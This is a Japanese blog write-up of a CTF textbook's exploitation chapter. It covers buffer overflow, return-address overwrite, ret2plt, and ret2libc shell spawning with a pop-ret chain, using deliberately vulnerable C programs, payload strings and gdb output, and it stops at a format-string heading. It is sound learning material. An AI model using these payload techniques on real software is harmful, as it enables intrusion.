レガシーガジェット研究所

気になったことのあれこれ。

ネズミ本のpwn編やってみた。

概要

かの有名なCTFの書籍であるネズミ本のPwn編をやってみただけのエントリーである。

環境

Ubuntu 14.04 LTS

脆弱性を探す

ユーザ入力を扱う関数

ユーザ入力を扱う関数では入力をメモリに配置するため入力がバッファサイズを超過するとバッファオーバーフロー脆弱性に繋がることがある。

#include <stdio.h>

int main(int argc, char *argv[]) {
    char buffer[100];
    fgets(buffer, 128, stdin);
    return 0;
}

バッファが100バイトに対して入力は最大で128バイト行うことができる。

SSP(stack smash protection: バッファオーバーフロー攻撃を検出する機能であり, スタックにcanary (カナリア) と呼ばれる値をセットする. バッファオーバーフロー攻撃によりこのcanaryが書き換えられたとき, エラー終了する)を無効にしコンパイルする。

$ gcc -m32 -fno-stack-protector -o bof ./bof.c

実行。

$ python -c 'print("CTF for Beginners")' | ./bof
$

通常実行は問題ない。 次はバッファに収まらないサイズで入力を渡してみる。

$ python -c 'print("A" * 128)' | ./bof
Segmentation fault

セグメンテーションフォールトが発生した。

次にどういった問題でプログラムが停止したかを調べるためにstraceコマンドを使用する。"-i"オプションでプログラムのIPを表示する。

$ python -c 'print("A" * 128)' | strace -i ./bof
[00007fc19e26a137] execve("./bof", ["./bof"], [/* 19 vars */]) = 0
[ Process PID=30300 runs in 32 bit mode. ]
[f7742ee9] brk(0)                       = 0x9b64000
[f7744a81] access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
[f7744b53] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7729000
[f7744a81] access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
[f7744984] open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
[f774490d] fstat64(3, {st_mode=S_IFREG|0644, st_size=38761, ...}) = 0
[f7744b53] mmap2(NULL, 38761, PROT_READ, MAP_PRIVATE, 3, 0) = 0xfffffffff771f000
[f7744afd] close(3)                     = 0
[f7744a81] access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
[f7744984] open("/lib32/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
[f77449c4] read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0000\234\1\0004\0\0\0"..., 512) = 512
[f774490d] fstat64(3, {st_mode=S_IFREG|0755, st_size=1750780, ...}) = 0
[f7744b53] mmap2(NULL, 1759868, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xfffffffff7571000
[f7744b53] mmap2(0xf7719000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a7000) = 0xfffffffff7719000
[f7744b53] mmap2(0xf771c000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xfffffffff771c000
[f7744afd] close(3)                     = 0
[f7744b53] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7570000
[f772dd6b] set_thread_area(0xffd02a00)  = 0
[f7744bd4] mprotect(0xf7719000, 8192, PROT_READ) = 0
[f7744bd4] mprotect(0x8049000, 4096, PROT_READ) = 0
[f7744bd4] mprotect(0xf774d000, 4096, PROT_READ) = 0
[f7744b91] munmap(0xf771f000, 38761)    = 0
[f772cc90] fstat64(0, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
[f772cc90] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7728000
[f772cc90] read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4096) = 129
[41414141] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} ---
[????????????????] +++ killed by SIGSEGV +++
Segmentation fault

セグメンテーションフォールトが発生した時点でのIPは"41414141"となっている。 これは"A"の文字コードなのでEIPを奪った状態だと言える。

printf系関数の書式文字列

次のコードは書式文字列攻撃の脆弱性を含んでいる。 書式文字列攻撃とはユーザ入力をprintf関数でそのまま表示する時に可能となり、渡された入力が書式文字列だった場合printf関数が引数としてスタックの値を読みだしてしまうというものだ。

#include <stdio.h>

int main(int argc, char *argv[]) {
    char str[128];
    fgets(str, 128, stdin);
    printf("Hello, ");
    printf(str);
    return 0;
}

コンパイルする。

$ gcc -m32 -fno-stack-protector -o format -Wformat-security format.c
format.c: In function ‘main’:
format.c:7:5: warning: format not a string literal and no format arguments [-Wformat-security]
     printf(str);
     ^

警告が出力されたがコンパイルに成功した。 実行してみる。

$ ./format
%x,%x,%x,%x,%x,%x,%x,%x,%x
Hello, 80,f778dc20,0,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c

実行時に書式文字列を渡すとprintf関数が当該文字列をパースしスタックの引数があるはずの場所から値を読み込んでいるのがわかる。

エクスプロイト

事前にASLR(### Address Space Layout Randomization: スタックやヒープなど, 重要なデータ領域のアドレスをランダムにするセキュリティ機構)を無効にする。

$ sudo sysctl -w kernel.randomize_va_space=0

スタックベースバッファオーバーフロー

基本の考え方はスタックを破壊するということ。 今回はローカル変数を破壊する。

以下のコードは2つのローカル変数のアドレスとバッファオーバーフロー後に片方の変数の値を表示するプログラムを用意する。

#include <stdio.h>

int main(int argc, char *argv[]) {
    int zero = 0;
    char buffer[10];

    printf("buffer address\t= %x\n", (int)buffer);
    printf("zero address\t= %x\n", (int)&zero);

    fgets(buffer, 64, stdin);
    printf("zero = %d\n", zero);

    return 0;
}

上記のコードを32bit向け、SSP無効でコンパイルする。

$ gcc -m32 -fno-stack-protector -o bof1 bof1.c

1回目、入力する文字列を10文字以内にして実行する。

$ ./bof1
buffer address  = ffffd722
zero address    = ffffd72c
ctf4b
zero = 0

2回目は10文字以上の文字列を入力する。

$ ./bof1
buffer address  = ffffd722
zero address    = ffffd72c
AAAAAAAAAAAAAAAA
zero = 1094795585

1回目の実行では"ctf4b"(5バイト+改行コード=計6バイト)を入力したのでbuffer変数の10バイトに収まっておりバッファオーバーフローは発生していない。 2回目の実行では"AAAAAAAAAAAAAAAA"(16バイト+改行コード=計17バイト)を入力したため10バイトに対して7バイトオーバーしている。 計算してみると以下のようになる。

0xffffd2c2 + 0x11 = 0xffffd2d3

出力結果をみるとzero変数のアドレスを跨いでいることがわかる。

さっきの、zero = 1094795585というのはどこからきた数字なのかを考えてみる。 先ほどの入力した'AAAAAAAAAAAAAAAA'をint型として'AAAA'(int型なので4バイト)と考えると

'AAAA' = 0x41414141 = 1094795585

となり、入力された文字列が関係していることがわかり、調節すればzero変数を任意の値に書き換えられることがわかると思う。

以下のプログラムはzero変数の値が0x12345678の場合、"Congratulation !!"と表示されるようになっている。

#include <stdio.h>

int main(int argc, char *argv[]) {
    char buffer[10];
    int zero = 0;

    fgets(buffer, 64, stdin);
    printf("zero = %x\n", zero);
    if (zero == 0x12345678) {
        printf("Congratulations !!\n");
    }
    return 0;
}

コンパイルする。

$ gcc -m32 -fno-stack-protector -o bof2

zero変数のアドレスはbuffer変数のすぐしたに配置されていたので、'A'を10バイト入力してからすぐにzero変数に設定したい値をリトルエンディアンで入力すればzero変数の値を書き換えられる。

一回目は普通に実行。

$ ./bof2
hello
zero = 0

2回目はzero変数を書き換えるように入力文字列をプログラムに渡す。

$ echo -e 'AAAAAAAAAA\x78\x56\x34\x12' | ./bof2
zero = 12345678
Congratulations !!

見事に書き換えに成功している。

リターンアドレスの書き換え

ここでは以下のコードを使用する。

#include <stdio.h>
#include <string.h>

char buffer[32];

int main(int argc, char *argv[]) {
    char local[32];
    printf("buffer: 0x%x\n", &buffer);
    fgets(local, 128, stdin);
    strcpy(buffer, local);
    return 0;
}

コンパイルし通常実行する。

$ ./bof3
buffer: 0x804a060
ctf4b

次に大量の文字列を入力する。

$ ./bof3
buffer: 0x804a060
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault

次にgdbでセグメンテーションフォールトを起こした際の状態を確認する。 gdbを起動しセグメンテーションフォールトを発生させるとレジスタやスタックの値が表示される。(実際はカラーで表示されとても見やすくなっている)

$ gdb -q bof3
Reading symbols from bof3...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /home/ubuntu/bof3
buffer: 0x804a060
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
[---------------------------------------------registers---------------------------------------------]
EAX: 0x0
EBX: 0xf7fca000 --> 0x1a9da8
ECX: 0xffffd6d0 --> 0xa4141 (b'AA\n')
EDX: 0x804a0a0 --> 0xa4141 (b'AA\n')
ESI: 0x0
EDI: 0x0
EBP: 0x41414141 (b'AAAA')
ESP: 0xffffd6c0 ('A' <repeats 15 times>...)
EIP: 0x41414141 (b'AAAA')
[-----------------------------------------------code------------------------------------------------]
Invalid $PC address: 0x41414141
[-----------------------------------------------stack-----------------------------------------------]
00:0000| esp 0xffffd6c0 ('A' <repeats 15 times>...)
01:0004|     0xffffd6c4 ('A' <repeats 14 times>, "\n")
02:0008|     0xffffd6c8 ("AAAAAAAAAA\n")
03:0012|     0xffffd6cc ("AAAAAA\n")
04:0016| ecx 0xffffd6d0 --> 0xa4141 (b'AA\n')
05:0020|     0xffffd6d4 --> 0xffffd754 --> 0xffffd888 ("/home/ubuntu/bo"...)
06:0024|     0xffffd6d8 --> 0xffffd6f4 --> 0xe66eeb66
07:0028|     0xffffd6dc --> 0x804a01c --> 0xf7e399e0 (<__libc_start_main>:  push   ebp)
[---------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()

上記の値をみると入力した文字列でEIPが上書きされていることがわかる。 次にgdb-peda(https://github.com/longld/peda)の機能であるpattern-createを使用して入力の何文字目がEIPに入っているかを確認する。

gdb-pedaのpattern_createで文字列のパターンを生成し、それを入力文字列に使用する。

gdb-peda$ pattern_create 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
gdb-peda$ r
Starting program: /home/ubuntu/bof3
buffer: 0x804a060
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA

Program received signal SIGSEGV, Segmentation fault.
[-----------------------------------------------------------registers-----------------------------------------------------------]
EAX: 0x0
EBX: 0xf7fca000 --> 0x1a9da8
ECX: 0xffffd6c0 --> 0xa4162 (b'bA\n')
EDX: 0x804a090 --> 0xa4162 (b'bA\n')
ESI: 0x0
EDI: 0x0
EBP: 0x41304141 (b'AA0A')
ESP: 0xffffd6c0 --> 0xa4162 (b'bA\n')
EIP: 0x41414641 (b'AFAA')
[-------------------------------------------------------------code--------------------------------------------------------------]
Invalid $PC address: 0x41414641
[-------------------------------------------------------------stack-------------------------------------------------------------]
00:0000| ecx esp 0xffffd6c0 --> 0xa4162 (b'bA\n')
01:0004|         0xffffd6c4 --> 0xffffd754 --> 0xffffd888 ("/home/ubuntu/bo"...)
02:0008|         0xffffd6c8 --> 0xffffd75c --> 0xffffd89a ("XDG_SESSION_ID="...)
03:0012|         0xffffd6cc --> 0xf7feae6a (add    ebx,0x12196)
04:0016|         0xffffd6d0 --> 0x1
05:0020|         0xffffd6d4 --> 0xffffd754 --> 0xffffd888 ("/home/ubuntu/bo"...)
06:0024|         0xffffd6d8 --> 0xffffd6f4 --> 0x3366d0e9
07:0028|         0xffffd6dc --> 0x804a01c --> 0xf7e399e0 (<__libc_start_main>:  push   ebp)
[-------------------------------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
Stopped reason: SIGSEGV
0x41414641 in ?? ()

EIPに'AFAA'の文字が入っていることがわかる。 これをpedaに投げると何文字目であるかを教えてくれる。

gdb-peda$ patto AFAA
AFAA found at offset: 44

44文字目(0番目スタート)のようだ。

今回はとりあえず処理がmain関数の先頭に遷移するようにEIPを書き換えたいと思う。 下記にobjdumpの結果を示す。

0804849d <main>:
 804849d:   push   ebp
 804849e:   mov    ebp,esp
 80484a0:   and    esp,0xfffffff0
 80484a3:   sub    esp,0x30
 80484a6:   mov    DWORD PTR [esp+0x4],0x804a060
 80484ae:   mov    DWORD PTR [esp],0x8048590
 80484b5:   call   8048350 <printf@plt>
 80484ba:   mov    eax,ds:0x804a040
 80484bf:   mov    DWORD PTR [esp+0x8],eax
 80484c3:   mov    DWORD PTR [esp+0x4],0x80
 80484cb:   lea    eax,[esp+0x10]
 80484cf:   mov    DWORD PTR [esp],eax
 80484d2:   call   8048360 <fgets@plt>
 80484d7:   lea    eax,[esp+0x10]
 80484db:   mov    DWORD PTR [esp+0x4],eax
 80484df:   mov    DWORD PTR [esp],0x804a060
 80484e6:   call   8048370 <strcpy@plt>
 80484eb:   mov    eax,0x0
 80484f0:   leave
 80484f1:   ret
 80484f2:   xchg   ax,ax
 80484f4:   xchg   ax,ax
 80484f6:   xchg   ax,ax
 80484f8:   xchg   ax,ax
 80484fa:   xchg   ax,ax
 80484fc:   xchg   ax,ax
 80484fe:   xchg   ax,ax

main関数のアドレスは'0804849d'なのでリトルエンディアンに直して

0804849d -> \x9d\x84\x04\x08

上記を踏まえると攻撃文字列は以下のようになる。

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x84\x04\x08

実行する。

$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x84\x04\x08' | ./bof3
buffer: 0x804a060
buffer: 0x804a060
Segmentation fault

'buffer'という文字列が2回出力されている。 今回はスタックの値を上書きしリターンアドレスを書き換えてしまったのでセグメンテーションフォールトが出ているが実際の攻撃では検知されないようにうまく処理を継続させる必要がある。

Return to PLT (ret2plt)

EIPを奪った後の攻撃方法の1つとして、Return to PLTが挙げられる。 PLTはProcedure Linkage Tableの略でPLTに書かれた短いコード片を関数として呼び出すと動的リンクされたライブラリのアドレスを解決してライブラリ内の関数を実行してくれるというもの。リターンアドレスをPLTに存在する関数を指すように書き換えてしまえば動的リンクされたライブラリの関数を呼び出すことができる。これを行うのがReturn to PLTである。

以下がbof3のPLTのセクションになる。

$ objdump -d -M intel -j .plt --no bof3

bof3:     file format elf32-i386


Disassembly of section .plt:

08048340 <printf@plt-0x10>:
 8048340:   push   DWORD PTR ds:0x804a004
 8048346:   jmp    DWORD PTR ds:0x804a008
 804834c:   add    BYTE PTR [eax],al
    ...

08048350 <printf@plt>:
 8048350:   jmp    DWORD PTR ds:0x804a00c
 8048356:   push   0x0
 804835b:   jmp    8048340 <_init+0x28>

08048360 <fgets@plt>:
 8048360:   jmp    DWORD PTR ds:0x804a010
 8048366:   push   0x8
 804836b:   jmp    8048340 <_init+0x28>

08048370 <strcpy@plt>:
 8048370:   jmp    DWORD PTR ds:0x804a014
 8048376:   push   0x10
 804837b:   jmp    8048340 <_init+0x28>

08048380 <__gmon_start__@plt>:
 8048380:   jmp    DWORD PTR ds:0x804a018
 8048386:   push   0x18
 804838b:   jmp    8048340 <_init+0x28>

08048390 <__libc_start_main@plt>:
 8048390:   jmp    DWORD PTR ds:0x804a01c
 8048396:   push   0x20
 804839b:   jmp    8048340 <_init+0x28>

次にPLT内に存在し且つ呼び出しを簡単に確認することができるprintf関数を呼び出したいと思う。 main関数の最後にコールされるreturn命令で任意の処理に遷移させる場合、今回であればprintf関数を呼ぶ場合、スタックの状態は以下のようになる。

スタック
下位アドレス(0x00000000)
:
関数アドレス(= リターンアドレス = 0x08048350 = printf@plt )
printf関数呼び出し後のリターンアドレス(= 0x42424242 = ダミーアドレス)
printf関数の第一引数(= 0x804a060 = buffer変数のアドレス)
:
上位アドレス(0xFFFFFFFF)

上位の状態を実現するための攻撃文字列は以下となる。 (アドレスはリトルエンディアンのため上記の表とは表記が逆になる)

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x50\x83\x04\x08BBBB\x60\xa0\x04\x08

では実際に実行。

$ echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x50\x83\x04\x08BBBB\x60\xa0\x04\x08" | ./bof3
buffer: 0x804a060
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPBBBB`�
Segmentation fault

上記では呼ばれないはずのprintf関数が呼ばれbufferの文字列が表示されているのがわかる。

Return to libc (ret2libc)

Return to PLTではリターンアドレスを書き換えてPLTに存在する関数を呼び出したがsystem関数等がなければシェルを起動することはできない。ここでは実行ファイルにリンクされているlibc内に存在する関数を呼びだす。libcはC言語の標準ライブラリでprintfやfgetsといったプログラムで呼び出している関数はlibcで定義されている。 だた動的ライブラリはASPLの影響を受けるため起動するたびに配置アドレスが変更される。ASLRの回避方法については後ほどやるので、ここではASLRを無効の状態で行う。

$ gdb -q bof3
Reading symbols from bof3...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x80484a0
gdb-peda$ r
Starting program: /home/ubuntu/bof3
[-----------------------------------------------------------registers-----------------------------------------------------------]
EAX: 0x1
EBX: 0xf7fca000 --> 0x1a9da8
ECX: 0xd3d2b964
EDX: 0xffffd6e4 --> 0xf7fca000 --> 0x1a9da8
ESI: 0x0
EDI: 0x0
EBP: 0xffffd6b8 --> 0x0
ESP: 0xffffd6b8 --> 0x0
EIP: 0x80484a0 (<main+3>: and    esp,0xfffffff0)
[-------------------------------------------------------------code--------------------------------------------------------------]
   0x8048498 <frame_dummy+40>:    jmp    0x8048410 <register_tm_clones>
   0x804849d <main>:  push   ebp
   0x804849e <main+1>:    mov    ebp,esp
=> 0x80484a0 <main+3>: and    esp,0xfffffff0
   0x80484a3 <main+6>:    sub    esp,0x30
   0x80484a6 <main+9>:    mov    DWORD PTR [esp+0x4],0x804a060
   0x80484ae <main+17>:   mov    DWORD PTR [esp],0x8048590
   0x80484b5 <main+24>:   call   0x8048350 <printf@plt>
[-------------------------------------------------------------stack-------------------------------------------------------------]
00:0000| ebp esp 0xffffd6b8 --> 0x0
01:0004|         0xffffd6bc --> 0xf7e39ad3 (<__libc_start_main+243>:   mov    DWORD PTR [esp],eax)
02:0008|         0xffffd6c0 --> 0x1
03:0012|         0xffffd6c4 --> 0xffffd754 --> 0xffffd888 ("/home/ubuntu/bo"...)
04:0016|         0xffffd6c8 --> 0xffffd75c --> 0xffffd89a ("XDG_SESSION_ID="...)
05:0020|         0xffffd6cc --> 0xf7feae6a (add    ebx,0x12196)
06:0024|         0xffffd6d0 --> 0x1
07:0028|         0xffffd6d4 --> 0xffffd754 --> 0xffffd888 ("/home/ubuntu/bo"...)
[-------------------------------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value

Breakpoint 1, 0x080484a0 in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e5fe70 <system>

上記からsystem関数は0xf7e5fe70に存在することが確認できた。 system関数は第一引数に文字列を指定する必要があるのでbufferのアドレスを指定する。 スタックの状態は以下となる。

スタック
下位アドレス(0x00000000)
:
関数アドレス(= リターンアドレス = 0xf7e5fe70 = system )
関数呼び出し後のリターンアドレス(= 0x42424242 = ダミーアドレス)
関数の第一引数(= 0x804a060 = buffer変数のアドレス)
:
上位アドレス(0xFFFFFFFF)

今回system関数に渡す引数になるbuffer変数にはコマンドとして実行できる文字列を渡す必要があるので実行する文字列は以下となる。

echo -e '/bin/sh\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x70\xfe\xe5\xf7BBBB\x60\xa0\x04\x08'

'/bin/sh'という文字列の後に'\x00'を置いたのは引数がNULL文字で終端しなければならないという制約があるためである。 上記のようにすることによってsystem関数の引数は'/bin/sh'という文字列のみが認識され後ろに続く文字は無視される。

他にも'/bin/sh'の後に'#'を入れ後ろの文字列をコメントアウトするという方法もある。

echo -e '/bin/sh # AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x70\xfe\xe5\xf7BBBB\x60\xa0\x04\x08'

加えて今回は入力文字列と共に下記のような入力方法を行う。

(ehco -e '...'; cat) | ./bof3

これはechoコマンドで文字列を出力した後、catを実行し標準入力から入力されたものをbof3にパイプするというもので、ローカルエクスプロイトを行う際は簡単な書き方なので覚えておきたい。

上記を踏まえ実行してみる。

$ (echo -e '/bin/sh\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x70\xfe\xe5\xf7BBBB\x60\xa0\x04\x08'; cat) | ./bof3
buffer: 0x804a060
ls -l
total 72
drwxrwxr-x 2 ubuntu ubuntu 4096 Feb 14 14:56 bin
-rwxrwxr-x 1 ubuntu ubuntu 7332 Feb 13 16:03 bof
-rwxrwxr-x 1 ubuntu ubuntu 7371 Feb 13 16:41 bof1
-rw-rw-r-- 1 ubuntu ubuntu  257 Feb 13 16:41 bof1.c
-rwxrwxr-x 1 ubuntu ubuntu 7407 Feb 13 17:28 bof2
-rw-rw-r-- 1 ubuntu ubuntu  224 Feb 13 17:28 bof2.c
-rwxrwxr-x 1 ubuntu ubuntu 7432 Feb 13 17:59 bof3
-rw-rw-r-- 1 ubuntu ubuntu  225 Feb 13 17:59 bof3.c
-rw-rw-r-- 1 ubuntu ubuntu  124 Feb 13 16:03 bof.c
-rwxrwxr-x 1 ubuntu ubuntu 7373 Feb 13 16:25 format
-rw-rw-r-- 1 ubuntu ubuntu  158 Feb 13 16:24 format.c
drwxrwxr-x 4 ubuntu ubuntu 4096 Feb 14 14:55 peda
-rw-rw-r-- 1 ubuntu ubuntu   11 Feb 15 16:30 peda-session-bof3.txt
exit

Segmentation fault

実際にシェルが起動しており、'ls -l'の結果が返ってきているのがわかる。

ret2plt、ret2libcの後にもう1度関数を呼ぶ (popret gadget)

先ほどのReturn to PLT/libcでは関数呼び出し後のリターンアドレスにダミーアドレスを指定指定していたが、この部分に関数のアドレスを指定すれば複数の関数を一度に呼び出すことができそうである。ただスタックの状態を以下のようにする必要がある。

スタック
下位アドレス(0x00000000)
:
関数1のアドレス
関数1のリターンアドレス(= 関数2のアドレス)
関数1の引数1(= 関数2のリターンアドレス)
関数1の引数2(= 関数2の引数1)
関数1の引数3(= 関数2の引数2)
:
上位アドレス(0xFFFFFFFF)

ここで使用するのがpopret gadgetの考え方である。実行ファイルの中にはpopを数回行った後にretするという処理(gadget)が多く現れる。pop命令はスタックから1つデータを取り出すという処理を行うので関数を呼び出すために使用した引数をpopしてからretすればスタックポインタの位置をずらすことができる。

SP スタック
下位アドレス(0x00000000)
:
関数1のアドレス
関数1のリターンアドレス(= pop pop pop ret)
pop↓ 関数1の引数1
pop↓ 関数1の引数2
pop↓ 関数1の引数3
ret→ 関数2のアドレス
関数2のリターンアドレス
関数2の引数1
関数2の引数2
:
上位アドレス(0xFFFFFFFF)

実際にbof3を用いて2つの関数を呼び出してみる。 今回はrp++(https://github.com/0vercl0k/rp)を使用してgadgetを見つける。

$ rp -f bof3 -r 1 | grep pop
0x0804855f: pop ebp ; ret  ;  (1 found)
0x08048339: pop ebx ; ret  ;  (1 found)
0x08048586: pop ebx ; ret  ;  (1 found)

popの直後にretがあるgadgetを探すために'-r 1'オプションを付け、さらにgrepでpopを含む行のみを抽出した。 上記の出力から目的のgadgetは3つあるようなので、その中の1つである'0x0804855f'を使用する。

2番目にexit関数を呼び出す。 これはSegment Faultを起こす前にexitを実行することでプログラムを正常終了することができる。 以下でexit関数のアドレスを調査する。

$ gdb -q bof3
Reading symbols from bof3...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x80484a0
gdb-peda$ r
Starting program: /home/ubuntu/bof3
[-----------------------------------------------------------registers-----------------------------------------------------------]
EAX: 0x1
EBX: 0xf7fca000 --> 0x1a9da8
ECX: 0xcacf3648
EDX: 0xffffd6e4 --> 0xf7fca000 --> 0x1a9da8
ESI: 0x0
EDI: 0x0
EBP: 0xffffd6b8 --> 0x0
ESP: 0xffffd6b8 --> 0x0
EIP: 0x80484a0 (<main+3>: and    esp,0xfffffff0)
[-------------------------------------------------------------code--------------------------------------------------------------]
   0x8048498 <frame_dummy+40>:    jmp    0x8048410 <register_tm_clones>
   0x804849d <main>:  push   ebp
   0x804849e <main+1>:    mov    ebp,esp
=> 0x80484a0 <main+3>: and    esp,0xfffffff0
   0x80484a3 <main+6>:    sub    esp,0x30
   0x80484a6 <main+9>:    mov    DWORD PTR [esp+0x4],0x804a060
   0x80484ae <main+17>:   mov    DWORD PTR [esp],0x8048590
   0x80484b5 <main+24>:   call   0x8048350 <printf@plt>
[-------------------------------------------------------------stack-------------------------------------------------------------]
00:0000| ebp esp 0xffffd6b8 --> 0x0
01:0004|         0xffffd6bc --> 0xf7e39ad3 (<__libc_start_main+243>:   mov    DWORD PTR [esp],eax)
02:0008|         0xffffd6c0 --> 0x1
03:0012|         0xffffd6c4 --> 0xffffd754 --> 0xffffd888 ("/home/ubuntu/bo"...)
04:0016|         0xffffd6c8 --> 0xffffd75c --> 0xffffd89a ("XDG_SESSION_ID="...)
05:0020|         0xffffd6cc --> 0xf7feae6a (add    ebx,0x12196)
06:0024|         0xffffd6d0 --> 0x1
07:0028|         0xffffd6d4 --> 0xffffd754 --> 0xffffd888 ("/home/ubuntu/bo"...)
[-------------------------------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value

Breakpoint 1, 0x080484a0 in main ()
gdb-peda$ p exit
$1 = {<text variable, no debug info>} 0xf7e52f50 <exit>

exit関数が'0xf7e52f50'に配置されていることわかった。

ここでsystem関数を実行した後、exit(0)を実行するためにはスタックを以下のように配置しなければならない。

SP スタック
下位アドレス(0x00000000)
:
main関数のリターンアドレス(= system関数のアドレス = 0xf7e5fe70)
system関数のリターンアドレス(= popret = 0x0804855f)
pop↓ system関数の第1引数(= buffer変数のアドレス = 0x804a060)
ret→ exit関数のアドレス(= 0xf7e52f50)
exit関数のリターンアドレスアドレス(= ダミーアドレス = 0x42424242)
exit関数の第1引数(= 0)
:
上位アドレス(0xFFFFFFFF)

上記を踏まえるとbof3に渡す文字列は以下となる。(上記に示したスタックの状態をリトルエンディアンで並べたもの)

/bin/sh\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x70\xfe\xe5\xf7\x5f\x85\x04\x08\x60\xa0\x04\x08\x50\x2f\xe5\xf7\x42\x42\x42\x42\x00\x00\x00\x00

実行してみる。

$ (echo -e '/bin/sh\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x70\xfe\xe5\xf7\x5f\x85\x04\x08\x60\xa0\x04\x08\x50\x2f\xe5\xf7\x42\x42\x42\x42\x00\x00\x00\x00'; cat) | ./bof3
buffer: 0x804a060
ls -l
total 72
drwxrwxr-x 2 ubuntu ubuntu 4096 Feb 15 18:04 bin
-rwxrwxr-x 1 ubuntu ubuntu 7332 Feb 13 16:03 bof
-rwxrwxr-x 1 ubuntu ubuntu 7371 Feb 13 16:41 bof1
-rw-rw-r-- 1 ubuntu ubuntu  257 Feb 13 16:41 bof1.c
-rwxrwxr-x 1 ubuntu ubuntu 7407 Feb 13 17:28 bof2
-rw-rw-r-- 1 ubuntu ubuntu  224 Feb 13 17:28 bof2.c
-rwxrwxr-x 1 ubuntu ubuntu 7432 Feb 13 17:59 bof3
-rw-rw-r-- 1 ubuntu ubuntu  225 Feb 13 17:59 bof3.c
-rw-rw-r-- 1 ubuntu ubuntu  124 Feb 13 16:03 bof.c
-rwxrwxr-x 1 ubuntu ubuntu 7373 Feb 13 16:25 format
-rw-rw-r-- 1 ubuntu ubuntu  158 Feb 13 16:24 format.c
drwxrwxr-x 4 ubuntu ubuntu 4096 Feb 14 14:55 peda
-rw-rw-r-- 1 ubuntu ubuntu   11 Feb 15 18:18 peda-session-bof3.txt
exit

実際に実行するとSegment faultを起こしていないことがわかる。 これで2つの関数を同時に呼び出せるようになった。

Return Oriented Programming (ROP)

ROPは上記で行ったものを発展させたものでNX bit(NXビットに対応したシステムでメモリ領域の特定のビットに「ここはデータ領域である」という印をつけておくことにより、クラッカーなどがプログラムを送り込んできてもOSがそれを検知して実行できないようにすること)が有効でシェルコードを注入できない場合では非常に強力な手法となる。メモリの実行可能部分からgadgetと呼ばれるコード片を集取して繋げることでプログラミングを行う。

書式文字列攻撃

書式文字列攻撃とはprintfやsprintf関数の書式文字列部分にユーザの入力文字列が入っている場合に有効な攻撃方法である。当該攻撃方法ではメモリの読み書きしか行えないのでEIPを奪うために上手にメモリを書き換える必要がある。

書式文字列攻撃には以下のソースコードを使用する。

#include <stdio.h>
int secret = 0x12345678;

int main(int argc, char *argv[]) {
    char str[128];
    fgets(str, 128, stdin);
    printf(str);
    printf("secret = 0x%x\n", secret);
    return 0;
}

コンパイルすると警告が出力されるが問題なく通った。

$ gcc -m32 -o fsb fsb.c
fsb.c: In function ‘main’:
fsb.c:7:5: warning: format not a string literal and no format arguments [-Wformat-security]
     printf(str);
     ^

試しにこのプログラムの入力に以下の文字列を入力する。

$ ./fsb
AAAA%p,%p,%p,%p,%p,%p,%p,%p,%p,
AAAA0x80,0xf7fcac20,0xffffd794,(nil),(nil),(nil),0x41414141,0x252c7025,0x70252c70,
secret = 0x12345678

%pは対応する引数の値をvoid*型として16進数で表示する。printfに渡された書式文字列内で指定があった引数が存在していない場合、スタック上で引数があるはずの位置に存在している場所から値を読み込む。 出力されているデータを見ると0x41414141(AAAA)や0x252c7025(%p,%)が存在することが確認でき、ローカル変数の領域まで%pで表示してしまっていることがわかる。

任意のアドレスからの読み込み

